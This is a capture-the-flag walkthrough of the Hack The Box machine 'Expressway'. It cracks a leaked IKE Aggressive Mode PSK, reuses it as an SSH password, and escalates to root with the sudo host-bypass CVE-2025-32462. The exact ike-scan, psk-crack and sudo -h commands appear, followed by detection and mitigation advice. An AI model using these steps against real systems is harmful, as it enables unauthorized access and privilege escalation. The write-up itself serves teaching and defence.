root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat expressway.md
// writeups

Expressway

20 Sep 2025 · 10 min read
Expressway - maquina de Hack The Box

Executive summary — Expressway is an unusual Easy Linux box: almost the whole attack revolves around IKE/IPsec. Enumerating the service in Aggressive Mode we capture the PSK hash, crack it by dictionary, and the PSK turns out to be the password for user ike over SSH. Once inside, Squid logs reveal an internal hostname (offramp.expressway.htb) and a hand-installed copy of sudo under /usr/local/bin. That combination opens the door to CVE-2025-32462, a bypass of sudoers' host-matching via sudo's -h flag that lets a rule meant for another host be applied locally. Path: IKE PSK -> ike -> sudoers host bypass -> root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.10.11.87

Attack map

[UDP 500] IKE/IPsec in Aggressive Mode -> leaks the PSK hash
   |  psk-crack (rockyou) -> cleartext PSK
   v
[SSH]  ike  (user.txt)  (the PSK is the password)
   |  sudo -l -> anomalous behaviour
   |  Squid logs -> internal hostname "offramp.expressway.htb"
   |  which sudo -> /usr/local/bin/sudo (vulnerable build, not the system one)
   v
[ROOT] CVE-2025-32462 (sudo -h sudoers host bypass) -> root

1. Reconnaissance

echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts

Before anything aggressive, a quick sweep with Nmap's default scripts confirms open ports and banners without too much noise.

nmap -v --script=default 10.10.11.87

With the ground covered, we go deeper with version/OS detection and full NSE:

nmap -v -A -sV 10.10.11.87
# 22/tcp open  ssh  OpenSSH 10.0p2 Debian 8

TCP has little more than SSH. Before attempting a login, we check which authentication methods it accepts —password, public key—, since that decides whether it's worth looking for a password elsewhere:

nmap -sV --script ssh-auth-methods -p 22 10.10.11.87

The real hint is on UDP: we check whether an IKE/IPsec service is listening on port 500.

sudo nmap -sU -p 500 10.10.11.87     # 500/udp open  isakmp

Environment note: during recon a tinyssh service was also observed on a different IP in the range; it's contextual lab-environment data, not part of this machine's attack path.

2. IKE/IPsec — recovering the PSK

We confirm the IKE endpoint responds to a simple query:

ike-scan expressway.htb

IKE's Aggressive Mode (versus Main Mode) negotiates phase 1 in a single packet exchange instead of three. To speed up that negotiation, the hash of the Pre-Shared Key travels inside the handshake itself —keyed with the PSK but capturable—, instead of staying only on the server. Anyone watching the traffic (or triggering it, as here) can grab that hash and crack it offline without the server ever noticing.

ike-scan -A expressway.htb

We repeat it specifying a particular IKE identity (an email-style ID) and saving the cracking material to a file:

ike-scan -A expressway.htb --id=ike@expressway.htb -P ike.psk

-P ike.psk dumps the captured hash to disk. We run it through a dictionary with psk-crack:

psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk

The rockyou.txt dictionary breaks the PSK:

freakingrockstarontheroad

3. Foothold — SSH as ike

The recovered PSK turns out to also be the password for user ike over SSH —classic reuse of the same secret between the VPN service and a system account—:

ssh ike@expressway.htb
# Password: freakingrockstarontheroad

We verify the context and grab the first flag:

id
whoami
pwd
cat user.txt

4. Post-exploitation — finding the sudo lead

With ike access, the classic first step is checking sudo privileges:

sudo -l

The output shows anomalous behaviour: it's not the typical rule list for a regular user, but something pointing to sudo on this box not behaving like stock Debian. That justifies a closer look at which sudo binary is actually running and why.

We check Squid's logs (a proxy present on the box) for accesses and internal hostnames that could give context:

ls -l /var/log/squid
cat /var/log/squid/access.log.1

Among the entries we spot an internal hostname we hadn't seen before: offramp.expressway.htb. We keep that: it turns out to be the key to the escalation in the next step.

We confirm sudo is not the system's stock binary:

which sudo
ls -l /usr/local/bin/sudo

/usr/local/bin/sudo is a hand-installed copy, different from the one Debian ships by default —likely a vulnerable build left there on purpose, or by accident during a partial patching pass on the system.

5. Escalation — CVE-2025-32462 (sudo -h host bypass)

Two sudo ≤ 1.9.17 vulnerabilities were disclosed together in July 2025: CVE-2025-32463 (chroot/NSS: --chroot loads a user-controlled nsswitch.conf before finishing policy evaluation) and CVE-2025-32462, the one that actually applies here. Sudo's -h (--host) flag was meant to be used only alongside -l, to list a user's privileges on another host of a centralized sudoers setup (typical in LDAP/NIS environments). The bug is that sudo didn't restrict that flag to the listing mode: it was also accepted when actually running a command. If a sudoers rule grants broad privileges to a user but only when run on a different host (here, offramp, part of the same logical setup as expressway), passing that hostname via -h makes sudo evaluate the rule as if it were running there, effectively nullifying the host restriction.

With the hostname recovered from Squid's logs and the vulnerable binary located, the command that gives a root shell is direct:

/usr/local/bin/sudo -h offramp.expressway.htb bash

We verify the new context:

id
whoami
uid=0(root) gid=0(root) groups=0(root)
root

With a root shell, we close out the box:

cat /root/root.txt

System fully compromised. 🏴‍☠️

6. Evidence and detection (hunting)

With the box solved, it's worth looking at what traces this attack leaves for a defender: any of these commands would have caught the anomaly before it turned into root.

find / -type f -name 'libnss_*' 2>/dev/null
find /tmp /var/tmp /home -type f -name '*.so*' -mtime -7 -ls 2>/dev/null
cat /etc/sudoers; ls -l /etc/sudoers.d/
which sudo; ls -l /usr/local/bin/sudo
stat /etc/nsswitch.conf; cat /etc/nsswitch.conf

Hunting for libnss_* libraries out of place covers the CVE-2025-32463 (chroot/NSS) variant; auditing sudoers and spotting sudo binaries outside the system's standard path covers the CVE-2025-32462 variant exploited here.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdIKE/IPsecAggressive Mode leaks the PSK hash, reused as SSH passwordAccess as ike
Enumeration/usr/local/bin/sudosudo ≤ 1.9.17 build installed outside the package managerSurface for CVE-2025-3246x
PrivEscsudo -h / sudoersCVE-2025-32462: -h applies another host's rule locallyRoot

Lessons learned

  • Don't use IKE Aggressive Mode: it exposes the PSK hash in the handshake itself; use Main Mode or certificate-based auth.
  • Strong, unique PSKs: even if the hash is captured, a long random PSK won't fall to a dictionary; and it should never double as a system account's password.
  • Update sudo to ≥ 1.9.17p1: it fixes both CVE-2025-32462 (host bypass) and CVE-2025-32463 (chroot/NSS), disclosed together in July 2025.
  • Watch out for multi-host sudoers: rules that restrict privileges "only on host X" within a centralized configuration are only as strong as the validation of that restriction; if the host can be spoofed, the restriction doesn't exist.
  • Watch for binaries outside the package manager: a custom sudo under /usr/local/bin living alongside the system one is a red flag by itself.
  • Review proxy logs (Squid): they leak internal topology —hostnames, routes— that an attacker can use to move laterally.